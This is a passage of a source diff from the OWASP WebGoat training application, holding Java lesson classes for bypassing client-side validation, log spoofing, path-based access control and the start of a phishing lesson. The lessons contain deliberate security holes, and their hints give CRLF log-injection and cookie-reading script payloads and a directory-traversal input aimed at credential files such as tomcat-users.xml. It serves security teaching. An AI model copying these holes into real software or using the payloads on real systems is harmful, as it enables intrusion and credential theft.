* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
*
* For details, please see http://code.google.com/p/webgoat/
*
* @author Jeff Williams <a href="http://www.aspectsecurity.com">Aspect Security</a>
* @created October 28, 2003
*/
public class JavaScriptValidation extends LessonAdapter
{
public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com").addElement(new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0).setVspace(0));
/**
* Description of the Method
*
* @param s Description of the Parameter
* @return Description of the Return Value
*/
protected Element createContent(WebSession s)
{
ElementContainer ec = new ElementContainer();
// Regular expressions in Java and JavaScript compatible form
// Note: if you want to use the regex=new RegExp(\"" + regex + "\");" syntax
// you'll have to use \\\\d to indicate a digit for example -- one escaping for Java and one for JavaScript
String regex1 = "^[a-z]{3}$";// any three lowercase letters
String regex2 = "^[0-9]{3}$";// any three digits
String regex3 = "^[a-zA-Z0-9 ]*$";// alphanumerics and space without punctuation
String regex4 = "^(one|two|three|four|five|six|seven|eight|nine)$";// enumeration of numbers
String regex5 = "^\\d{5}$";// simple zip code
String regex6 = "^\\d{5}(-\\d{4})?$";// zip with optional dash-four
String regex7 = "^[2-9]\\d{2}-?\\d{3}-?\\d{4}$";//US phone number with or without dashes
Pattern pattern1 = Pattern.compile(regex1);
Pattern pattern2 = Pattern.compile(regex2);
Pattern pattern3 = Pattern.compile(regex3);
Pattern pattern4 = Pattern.compile(regex4);
Pattern pattern5 = Pattern.compile(regex5);
Pattern pattern6 = Pattern.compile(regex6);
Pattern pattern7 = Pattern.compile(regex7);
String lineSep = System.getProperty("line.separator");
String script = "<SCRIPT>"
+ lineSep
+ "regex1=/"
+ regex1
+ "/;"
+ lineSep
+ "regex2=/"
+ regex2
+ "/;"
+ lineSep
+ "regex3=/"
+ regex3
+ "/;"
+ lineSep
+ "regex4=/"
+ regex4
+ "/;"
+ lineSep
+ "regex5=/"
+ regex5
+ "/;"
+ lineSep
+ "regex6=/"
+ regex6
+ "/;"
+ lineSep
+ "regex7=/"
+ regex7
+ "/;"
+ lineSep
+ "function validate() { "
+ lineSep
+ "msg='JavaScript found form errors'; err=0; "
+ lineSep
+ "if (!regex1.test(document.form.field1.value)) {err+=1; msg+='\\n bad field1';}"
+ lineSep
+ "if (!regex2.test(document.form.field2.value)) {err+=1; msg+='\\n bad field2';}"
+ lineSep
+ "if (!regex3.test(document.form.field3.value)) {err+=1; msg+='\\n bad field3';}"
+ lineSep
+ "if (!regex4.test(document.form.field4.value)) {err+=1; msg+='\\n bad field4';}"
+ lineSep
+ "if (!regex5.test(document.form.field5.value)) {err+=1; msg+='\\n bad field5';}"
+ lineSep
+ "if (!regex6.test(document.form.field6.value)) {err+=1; msg+='\\n bad field6';}"
+ lineSep
+ "if (!regex7.test(document.form.field7.value)) {err+=1; msg+='\\n bad field7';}"
+ lineSep + "if ( err > 0 ) alert(msg);" + lineSep
+ "else document.form.submit();" + lineSep + "} " + lineSep
+ "</SCRIPT>" + lineSep;
try
{
String param1 = s.getParser().getRawParameter("field1", "abc");
String param2 = s.getParser().getRawParameter("field2", "123");
String param3 = s.getParser().getRawParameter("field3",
"abc 123 ABC");
String param4 = s.getParser().getRawParameter("field4", "seven");
String param5 = s.getParser().getRawParameter("field5", "90210");
String param6 = s.getParser().getRawParameter("field6",
"90210-1111");
String param7 = s.getParser().getRawParameter("field7",
"301-604-4882");
ec.addElement(new StringElement(script));
TextArea input1 = new TextArea("field1", 1, 25).addElement(param1);
TextArea input2 = new TextArea("field2", 1, 25).addElement(param2);
TextArea input3 = new TextArea("field3", 1, 25).addElement(param3);
TextArea input4 = new TextArea("field4", 1, 25).addElement(param4);
TextArea input5 = new TextArea("field5", 1, 25).addElement(param5);
TextArea input6 = new TextArea("field6", 1, 25).addElement(param6);
TextArea input7 = new TextArea("field7", 1, 25).addElement(param7);
Input b = new Input();
b.setType(Input.BUTTON);
b.setValue("Submit");
b.addAttribute("onclick", "validate();");
ec.addElement(new Div().addElement(new StringElement(
"Field1: exactly three lowercase characters (" + regex1
+ ")")));
ec.addElement(new Div().addElement(input1));
ec.addElement(new P());
ec.addElement(new Div().addElement(new StringElement(
"Field2: exactly three digits (" + regex2 + ")")));
ec.addElement(new Div().addElement(input2));
ec.addElement(new P());
ec.addElement(new Div()
.addElement(new StringElement(
"Field3: letters, numbers, and space only ("
+ regex3 + ")")));
ec.addElement(new Div().addElement(input3));
ec.addElement(new P());
ec.addElement(new Div().addElement(new StringElement(
"Field4: enumeration of numbers (" + regex4 + ")")));
ec.addElement(new Div().addElement(input4));
ec.addElement(new P());
ec.addElement(new Div().addElement(new StringElement(
"Field5: simple zip code (" + regex5 + ")")));
ec.addElement(new Div().addElement(input5));
ec.addElement(new P());
ec.addElement(new Div().addElement(new StringElement(
"Field6: zip with optional dash four (" + regex6 + ")")));
ec.addElement(new Div().addElement(input6));
ec.addElement(new P());
ec.addElement(new Div().addElement(new StringElement(
"Field7: US phone number with or without dashes (" + regex7
+ ")")));
ec.addElement(new Div().addElement(input7));
ec.addElement(new P());
ec.addElement(b);
// Check the patterns on the server -- and note the errors in the response
// these should never match unless the client side pattern script doesn't work
int err = 0;
String msg = "";
if (!pattern1.matcher(param1).matches())
{
err++;
msg += "<BR>Server side validation violation: You succeeded for Field1.";
}
if (!pattern2.matcher(param2).matches())
{
err++;
msg += "<BR>Server side validation violation: You succeeded for Field2.";
}
if (!pattern3.matcher(param3).matches())
{
err++;
msg += "<BR>Server side validation violation: You succeeded for Field3.";
}
if (!pattern4.matcher(param4).matches())
{
err++;
msg += "<BR>Server side validation violation: You succeeded for Field4.";
}
if (!pattern5.matcher(param5).matches())
{
err++;
msg += "<BR>Server side validation violation: You succeeded for Field5.";
}
if (!pattern6.matcher(param6).matches())
{
err++;
msg += "<BR>Server side validation violation: You succeeded for Field6.";
}
if (!pattern7.matcher(param7).matches())
{
err++;
msg += "<BR>Server side validation violation: You succeeded for Field7.";
}
if (err > 0)
{
s.setMessage(msg);
}
if (err >= 7)
{
// This means they defeated all the client side checks
makeSuccess(s);
}
}
catch (Exception e)
{
s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace();
}
return (ec);
}
/**
* DOCUMENT ME!
*
* @return DOCUMENT ME!
*/
protected Category getDefaultCategory()
{
return Category.UNVALIDATED_PARAMETERS;
}
/**
* Gets the hints attribute of the AccessControlScreen object
*
* @return The hints value
*/
protected List<String> getHints(WebSession s)
{
List<String> hints = new ArrayList<String>();
hints.add("The validation is happening in your browser.");
hints
.add("Try modifying the values with a proxy after they leave your browser");
hints
.add("Another way is to delete the JavaScript before you view the page.");
return hints;
}
/**
* Gets the instructions attribute of the WeakAccessControl object
*
* @return The instructions value
*/
public String getInstructions(WebSession s)
{
String instructions = "This website performs both client and server side validation. "
+ "For this exercise, your job is to break the client side validation and send the "
+ " website input that it wasn't expecting."
+ "<b> You must break all 7 validators at the same time. </b>";
return (instructions);
}
private final static Integer DEFAULT_RANKING = new Integer(120);
protected Integer getDefaultRanking()
{
return DEFAULT_RANKING;
}
/**
* Gets the title attribute of the AccessControlScreen object
*
* @return The title value
*/
public String getTitle()
{
return ("Bypass Client Side JavaScript Validation");
}
public Element getCredits()
{
return super.getCustomCredits("", ASPECT_LOGO);
}
}

291
main/project/JavaSource/org/owasp/webgoat/lessons/LessonAdapter.java Normal file
View File

@ -0,0 +1,291 @@
package org.owasp.webgoat.lessons;
import java.io.BufferedReader;
import java.io.FileReader;
import java.util.ArrayList;
import java.util.List;
import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer;
import org.apache.ecs.StringElement;
import org.apache.ecs.html.Center;
import org.apache.ecs.html.H3;
import org.apache.ecs.html.IMG;
import org.apache.ecs.html.P;
import org.apache.ecs.html.PRE;
import org.apache.ecs.html.TD;
import org.apache.ecs.html.TR;
import org.apache.ecs.html.Table;
import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
*
* For details, please see http://code.google.com/p/webgoat/
*
* @author Bruce Mayhew <a href="http://code.google.com/p/webgoat">WebGoat</a>
* @created October 28, 2003
*/
public abstract class LessonAdapter extends AbstractLesson
{
/**
* Description of the Method
*
* @param s Description of the Parameter
* @return Description of the Return Value
*/
protected Element createContent(WebSession s)
{
// Mark this lesson as completed.
makeSuccess(s);
ElementContainer ec = new ElementContainer();
ec
.addElement(new Center().addElement(new H3()
.addElement(new StringElement(
"Detailed Lesson Creation Instructions."))));
ec.addElement(new P());
ec
.addElement(new StringElement(
"Lesson are simple to create and very little coding is required. &nbsp;&nbsp;"
+ "In fact, most lessons can be created by following the easy to use instructions in the "
+ "<A HREF=http://www.owasp.org/index.php/WebGoat_User_and_Install_Guide_Table_of_Contents>WebGoat User Guide.</A>&nbsp;&nbsp;"
+ "If you would prefer, send your lesson ideas to "
+ getWebgoatContext().getFeedbackAddress()));
String fileName = s.getContext().getRealPath(
"doc/New Lesson Instructions.txt");
if (fileName != null)
{
try
{
PRE pre = new PRE();
BufferedReader in = new BufferedReader(new FileReader(fileName));
String line = null;
while ((line = in.readLine()) != null)
{
pre.addElement(line + "\n");
}
ec.addElement(pre);
}
catch (Exception e)
{
e.printStackTrace();
}
}
return (ec);
}
/**
* Gets the category attribute of the LessonAdapter object. The default category is "General" Only
* override this method if you wish to create a new category or if you wish this lesson to reside
* within a category other the "General"
*
* @return The category value
*/
protected Category getDefaultCategory()
{
return Category.GENERAL;
}
protected boolean getDefaultHidden()
{
return false;
}
private final static Integer DEFAULT_RANKING = new Integer(1000);
protected Integer getDefaultRanking()
{
return DEFAULT_RANKING;
}
/**
* Gets the hintCount attribute of the LessonAdapter object
*
* @return The hintCount value
*/
public int getHintCount(WebSession s)
{
return getHints(s).size();
}
/**
* Fill in a minor hint that will help people who basically get it, but are stuck on somthing
* silly. Hints will be returned to the user in the order they appear below. The user must click
* on the "next hint" button before the hint will be displayed.
*
* @return The hint1 value
*/
protected List<String> getHints(WebSession s)
{
List<String> hints = new ArrayList<String>();
hints.add("There are no hints defined.");
return hints;
}
public String getHint(WebSession s, int hintNumber)
{
return (String) getHints(s).get(hintNumber);
}
/**
* Gets the credits attribute of the AbstractLesson object
*
* @return The credits value
*/
public Element getCredits()
{
return new StringElement();
}
/**
* Gets the instructions attribute of the LessonAdapter object. Instructions will rendered as html
* and will appear below the control area and above the actual lesson area. Instructions should
* provide the user with the general setup and goal of the lesson.
*
* @return The instructions value
*/
public String getInstructions(WebSession s)
{
StringBuffer buff = new StringBuffer();
try
{
String fileName = s.getWebResource(getLessonPlanFileName());
if (fileName != null)
{
BufferedReader in = new BufferedReader(new FileReader(fileName));
String line = null;
boolean startAppending = false;
while ((line = in.readLine()) != null)
{
if (line.indexOf("<!-- Start Instructions -->") != -1)
{
startAppending = true;
continue;
}
if (line.indexOf("<!-- Stop Instructions -->") != -1)
{
startAppending = false;
continue;
}
if (startAppending)
{
buff.append(line + "\n");
}
}
}
}
catch (Exception e)
{}
return buff.toString();
}
/**
* Fill in a descriptive title for this lesson. The title of the lesson. This will appear above
* the control area at the top of the page. This field will be rendered as html.
*
* @return The title value
*/
public String getTitle()
{
return "Untitled Lesson " + getScreenId();
}
public String getCurrentAction(WebSession s)
{
return s.getLessonSession(this).getCurrentLessonScreen();
}
public void setCurrentAction(WebSession s, String lessonScreen)
{
s.getLessonSession(this).setCurrentLessonScreen(lessonScreen);
}
public Object getSessionAttribute(WebSession s, String key)
{
return s.getRequest().getSession().getAttribute(key);
}
public void setSessionAttribute(WebSession s, String key, Object value)
{
s.getRequest().getSession().setAttribute(key, value);
}
/**
* Description of the Method
*
* @param s Description of the Parameter
* @return Description of the Return Value
*/
protected Element makeSuccess(WebSession s)
{
getLessonTracker(s).setCompleted(true);
s
.setMessage("Congratulations. You have successfully completed this lesson.");
return (null);
}
/**
* Gets the credits attribute of the AbstractLesson object
*
* @return The credits value
*/
protected Element getCustomCredits(String text, Element e)
{
Table t = new Table().setCellSpacing(0).setCellPadding(0).setBorder(0).setWidth("90%").setAlign("RIGHT");
TR tr = new TR();
tr.addElement(new TD(text).setVAlign("MIDDLE").setAlign("RIGHT").setWidth("100%"));
tr.addElement(new TD(e).setVAlign("MIDDLE").setAlign("RIGHT"));
t.addElement(tr);
return t;
}
}

174
main/project/JavaSource/org/owasp/webgoat/lessons/LogSpoofing.java Normal file
View File

@ -0,0 +1,174 @@
package org.owasp.webgoat.lessons;
import java.io.UnsupportedEncodingException;
import java.net.URLDecoder;
import java.util.ArrayList;
import java.util.List;
import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer;
import org.apache.ecs.HtmlColor;
import org.apache.ecs.StringElement;
import org.apache.ecs.html.IMG;
import org.apache.ecs.html.Input;
import org.apache.ecs.html.PRE;
import org.apache.ecs.html.TD;
import org.apache.ecs.html.TR;
import org.apache.ecs.html.Table;
import org.owasp.webgoat.session.ECSFactory;
import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
*
* For details, please see http://code.google.com/p/webgoat/
*
* @author Sherif Koussa <a href="http://www.macadamian.com">Macadamian Technologies</a>
* @created October 28, 2006
*/
public class LogSpoofing extends LessonAdapter
{
private static final String USERNAME = "username";
private static final String PASSWORD = "password";
private final static IMG MAC_LOGO = new IMG("images/logos/macadamian.gif").setAlt(
"Macadamian Technologies").setBorder(0).setHspace(0).setVspace(0);
protected Element createContent(WebSession s)
{
ElementContainer ec = null;
String inputUsername = null;
try
{
Table t = new Table(0).setCellSpacing(0).setCellPadding(0)
.setBorder(0);
TR row1 = new TR();
TR row2 = new TR();
TR row3 = new TR();
row1.addElement(new TD(new StringElement("Username: ")));
Input username = new Input(Input.TEXT, USERNAME, "");
row1.addElement(new TD(username));
row2.addElement(new TD(new StringElement("Password: ")));
Input password = new Input(Input.PASSWORD, PASSWORD, "");
row2.addElement(new TD(password));
Element b = ECSFactory.makeButton("Login");
row3.addElement(new TD(new StringElement("&nbsp; ")));
row3.addElement(new TD(b)).setAlign("right");
t.addElement(row1);
t.addElement(row2);
t.addElement(row3);
ec = new ElementContainer();
ec.addElement(t);
inputUsername = new String(s.getParser().getRawParameter(USERNAME,
""));
if (inputUsername.length() != 0)
{
inputUsername = URLDecoder.decode(inputUsername, "UTF-8");
}
ec.addElement(new PRE(" "));
Table t2 = new Table(0).setCellSpacing(0).setCellPadding(0)
.setBorder(0);
TR row4 = new TR();
row4.addElement(
new TD(new PRE("Login failed for username: "
+ inputUsername))).setBgColor(HtmlColor.GRAY);
t2.addElement(row4);
ec.addElement(t2);
if (inputUsername.length() != 0
&& inputUsername.toUpperCase().indexOf(
System.getProperty("line.separator")
+ "LOGIN SUCCEEDED FOR USERNAME:") >= 0)
{
makeSuccess(s);
}
}
catch (UnsupportedEncodingException e)
{
s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace();
}
return ec;
}
private final static Integer DEFAULT_RANKING = new Integer(72);
protected Integer getDefaultRanking()
{
return DEFAULT_RANKING;
}
@Override
protected List<String> getHints(WebSession s)
{
List<String> hints = new ArrayList<String>();
hints.add("Try to fool the humane eye by using new lines.");
hints.add("Use CR (%0d) and LF (%0a) for a new line.");
hints.add("Try: Smith%0d%0aLogin Succeeded for username: admin");
hints
.add("Try: Smith%0d%0aLogin Succeeded for username: admin&lt;script&gt;alert(document.cookie)&lt;/script&gt;");
return hints;
}
@Override
public String getTitle()
{
return "Log Spoofing";
}
@Override
protected Category getDefaultCategory()
{
return Category.INJECTION;
}
public Element getCredits()
{
return super.getCustomCredits("Created by Sherif Koussa ", MAC_LOGO);
}
}

90
main/project/JavaSource/org/owasp/webgoat/lessons/NewLesson.java Normal file
View File

@ -0,0 +1,90 @@
package org.owasp.webgoat.lessons;
import org.apache.ecs.Element;
import org.apache.ecs.StringElement;
import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
*
* For details, please see http://code.google.com/p/webgoat/
*
* @author Sherif Koussa <a href="http://www.macadamian.com">Macadamian Technologies.</a>
* @created October 28, 2003
*/
public class NewLesson extends LessonAdapter
{
/**
* Description of the Method
*
* @param s Description of the Parameter
* @return Description of the Return Value
*/
protected Element createContent(WebSession s)
{
return super.createContent(s);
//makeSuccess(s);
//ec.addElement(new StringElement("Welcome to the WebGoat hall of fame !!"));
//return (ec);
}
/**
* Gets the category attribute of the NEW_LESSON object
*
* @return The category value
*/
protected Category getDefaultCategory()
{
return Category.GENERAL;
}
private final static Integer DEFAULT_RANKING = new Integer(85);
protected Integer getDefaultRanking()
{
return DEFAULT_RANKING;
}
/**
* Gets the title attribute of the DirectoryScreen object
*
* @return The title value
*/
public String getTitle()
{
return ("Create a WebGoat Lesson");
}
public Element getCredits()
{
return super.getCustomCredits("Created by: Your name goes here!", new StringElement(""));
}
}

281
main/project/JavaSource/org/owasp/webgoat/lessons/PathBasedAccessControl.java Normal file
View File

@ -0,0 +1,281 @@
package org.owasp.webgoat.lessons;
import java.io.BufferedReader;
import java.io.File;
import java.io.FileReader;
import java.util.ArrayList;
import java.util.List;
import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer;
import org.apache.ecs.StringElement;
import org.apache.ecs.html.BR;
import org.apache.ecs.html.HR;
import org.apache.ecs.html.TD;
import org.apache.ecs.html.TR;
import org.apache.ecs.html.Table;
import org.owasp.webgoat.session.ECSFactory;
import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
*
* For details, please see http://code.google.com/p/webgoat/
*
* @author Bruce Mayhew <a href="http://code.google.com/p/webgoat">WebGoat</a>
* @created October 28, 2003
*/
public class PathBasedAccessControl extends LessonAdapter
{
private final static String FILE = "File";
/**
* Description of the Method
*
* @param s
* Description of the Parameter
* @return Description of the Return Value
*/
protected Element createContent(WebSession s)
{
ElementContainer ec = new ElementContainer();
try
{
String dir = s.getContext().getRealPath("/lesson_plans");
File d = new File(dir);
Table t = new Table().setCellSpacing(0).setCellPadding(2).setWidth("90%").setAlign("center");
if (s.isColor())
{
t.setBorder(1);
}
String[] list = d.list();
String listing = " <p><B>Current Directory is:</B> " + Encoding.urlDecode(dir)
+ "<br><br> Choose the file to view:</p>";
TR tr = new TR();
tr.addElement(new TD().setColSpan(2).addElement(new StringElement(listing)));
t.addElement(tr);
tr = new TR();
tr.addElement(new TD().setWidth("35%").addElement(ECSFactory.makePulldown(FILE, list, "", 15)));
tr.addElement(new TD().addElement(ECSFactory.makeButton("View File")));
t.addElement(tr);
ec.addElement(t);
// FIXME: would be cool to allow encodings here -- hex, percent,
// url, etc...
String file = s.getParser().getRawParameter(FILE, "");
// defuse file searching
boolean illegalCommand = getWebgoatContext().isDefuseOSCommands();
if (getWebgoatContext().isDefuseOSCommands())
{
// allow them to look at any file in the webgoat hierachy. Don't
// allow them
// to look about the webgoat root, except to see the LICENSE
// file
if (upDirCount(file) == 3 && !file.endsWith("LICENSE"))
{
s.setMessage("Access denied");
s.setMessage("It appears that you are on the right track. "
+ "Commands that may compromise the operating system have been disabled. "
+ "You are only allowed to see one file in this directory. ");
} else if (upDirCount(file) > 3)
{
s.setMessage("Access denied");
s.setMessage("It appears that you are on the right track. "
+ "Commands that may compromise the operating system have been disabled. "
+ "You are only allowed to see files in the webgoat directory. ");
} else
{
illegalCommand = false;
}
}
// Using the URI supports encoding of the data.
// We could force the user to use encoded '/'s == %2f to make the lesson more difficult.
// We url Encode our dir name to avoid problems with special characters in our own path.
// File f = new File( new URI("file:///" +
// Encoding.urlEncode(dir).replaceAll("\\\\","/") + "/" +
// file.replaceAll("\\\\","/")) );
File f = new File((dir + "\\" + file).replaceAll("\\\\", "/"));
if (s.isDebug())
{
s.setMessage("File: " + file);
s.setMessage("Dir: " + dir);
// s.setMessage("File URI: " + "file:///" +
// (Encoding.urlEncode(dir) + "\\" +
// Encoding.urlEncode(file)).replaceAll("\\\\","/"));
s.setMessage(" - isFile(): " + f.isFile());
s.setMessage(" - exists(): " + f.exists());
}
if (!illegalCommand)
{
if (f.isFile() && f.exists())
{
// Don't set completion if they are listing files in the
// directory listing we gave them.
if (upDirCount(file) >= 1)
{
s.setMessage("Congratulations! Access to file allowed");
s.setMessage(" ==> " + Encoding.urlDecode(f.getCanonicalPath()));
makeSuccess(s);
} else
{
s.setMessage("File is already in allowed directory - try again!");
s.setMessage(" ==> " + Encoding.urlDecode(f.getCanonicalPath()));
}
} else if (file != null && file.length() != 0)
{
s.setMessage("Access to file/directory \"" + Encoding.urlDecode(f.getCanonicalPath())
+ "\" denied");
} else
{
// do nothing, probably entry screen
}
try
{
// Show them the file
// Strip out some of the extra html from the "help" file
ec.addElement(new BR());
ec.addElement(new BR());
ec.addElement(new HR().setWidth("100%"));
ec.addElement("Viewing file: " + f.getCanonicalPath());
ec.addElement(new HR().setWidth("100%"));
if (f.length() > 80000)
{
throw new Exception("File is too large");
}
String fileData = getFileText(new BufferedReader(new FileReader(f)), false);
if (fileData.indexOf(0x00) != -1)
{
throw new Exception("File is binary");
}
ec
.addElement(new StringElement(fileData.replaceAll(System.getProperty("line.separator"),
"<br>").replaceAll("(?s)<!DOCTYPE.*/head>", "").replaceAll("<br><br>", "<br>")
.replaceAll("<br>\\s<br>", "<br>").replaceAll("<\\?", "&lt;").replaceAll(
"<(r|u|t)", "&lt;$1")));
}
catch (Exception e)
{
ec.addElement(new BR());
ec.addElement("The following error occurred while accessing the file: <");
ec.addElement(e.getMessage());
}
}
}
catch (Exception e)
{
s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace();
}
return (ec);
}
private int upDirCount(String fileName)
{
int count = 0;
int startIndex = fileName.indexOf("..");
while (startIndex != -1)
{
count++;
startIndex = fileName.indexOf("..", startIndex + 1);
}
return count;
}
/**
* DOCUMENT ME!
*
* @return DOCUMENT ME!
*/
protected Category getDefaultCategory()
{
return Category.ACCESS_CONTROL;
}
/**
* Gets the hints attribute of the AccessControlScreen object
*
* @return The hints value
*/
protected List<String> getHints(WebSession s)
{
List<String> hints = new ArrayList<String>();
hints.add("Most operating systems allow special characters in the path.");
hints.add("Use a file explorer to find the tomcat\\webapps\\WebGoat\\lesson_plans directory");
hints.add("Try .. in the path");
hints.add("Try ..\\..\\..\\LICENSE");
return hints;
}
/**
* Gets the instructions attribute of the WeakAccessControl object
*
* @return The instructions value
*/
public String getInstructions(WebSession s)
{
String instructions = "The '" + s.getUserName() + "' user has access to all the files in the "
+ "lesson_plans directory. Try to break the access control mechanism and access a "
+ "resource that is not in the listed directory. After selecting a file to view, WebGoat "
+ "will report if access to the file was granted. An interesting file to try and obtain might "
+ "be a file like tomcat/conf/tomcat-users.xml";
return (instructions);
}
private final static Integer DEFAULT_RANKING = new Integer(115);
protected Integer getDefaultRanking()
{
return DEFAULT_RANKING;
}
/**
* Gets the title attribute of the AccessControlScreen object
*
* @return The title value
*/
public String getTitle()
{
return ("Bypass a Path Based Access Control Scheme");
}
}

299
main/project/JavaSource/org/owasp/webgoat/lessons/Phishing.java Normal file
View File

@ -0,0 +1,299 @@
package org.owasp.webgoat.lessons;
import java.util.ArrayList;
import java.util.List;
import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer;
import org.apache.ecs.StringElement;
import org.apache.ecs.html.B;
import org.apache.ecs.html.BR;
import org.apache.ecs.html.Comment;
import org.apache.ecs.html.H1;
import org.apache.ecs.html.HR;
import org.apache.ecs.html.Input;
import org.apache.ecs.html.TD;
import org.apache.ecs.html.TH;
import org.apache.ecs.html.TR;
import org.apache.ecs.html.Table;
import org.owasp.webgoat.Catcher;
import org.owasp.webgoat.session.ECSFactory;
import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
*
* For details, please see http://code.google.com/p/webgoat/
*
* @author Bruce Mayhew <a href="http://code.google.com/p/webgoat">WebGoat</a>
* @created March 13, 2007
*/
public class Phishing extends LessonAdapter
{
/**
* Description of the Field
*/
protected final static String SEARCH = "Username";
private String searchText;
/**
* Description of the Method
*
* @param s
* Description of the Parameter
* @return Description of the Return Value
*/
private boolean postedCredentials(WebSession s)
{
String postedToCookieCatcher =
getLessonTracker(s).getLessonProperties().getProperty(Catcher.PROPERTY, Catcher.EMPTY_STRING);
// <START_OMIT_SOURCE>
return (!postedToCookieCatcher.equals(Catcher.EMPTY_STRING));
// <END_OMIT_SOURCE>
}
/**
* Description of the Method
*
* @param s
* Description of the Parameter
* @return Description of the Return Value
*/
protected Element createContent(WebSession s)
{
ElementContainer ec = new ElementContainer();
try
{
searchText = s.getParser().getRawParameter(SEARCH, "");
// <START_OMIT_SOURCE>
// <END_OMIT_SOURCE>
ec.addElement(makeSearch(s));
if (postedCredentials(s))
{
makeSuccess(s);
}
}
catch (Exception e)
{
s.setMessage("Error generating " + this.getClass().getName());
}
return (ec);
}
protected Element makeSearch(WebSession s)
{
ElementContainer ec = new ElementContainer();
ec.addElement(new H1().addElement("WebGoat Search "));
Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0).setAlign("center");
TR tr = new TR();
tr.addElement(new TD().addElement("&nbsp;").setColSpan(2));
t.addElement(tr);
if (s.isColor())
{
t.setBorder(1);
}
tr = new TR();
tr.addElement(new TH().addElement("This facility will search the WebGoat source.").setColSpan(2)
.setAlign("center"));
t.addElement(tr);
tr = new TR();
tr.addElement(new TD().addElement("&nbsp;").setColSpan(2));
t.addElement(tr);
TR row1 = new TR();
row1.addElement(new TD(new B(new StringElement("Search: "))).setAlign("right"));
Input input1 = new Input(Input.TEXT, SEARCH, searchText);
row1.addElement(new TD(input1).setAlign("left"));
t.addElement(row1);
Element b = ECSFactory.makeButton("Search");
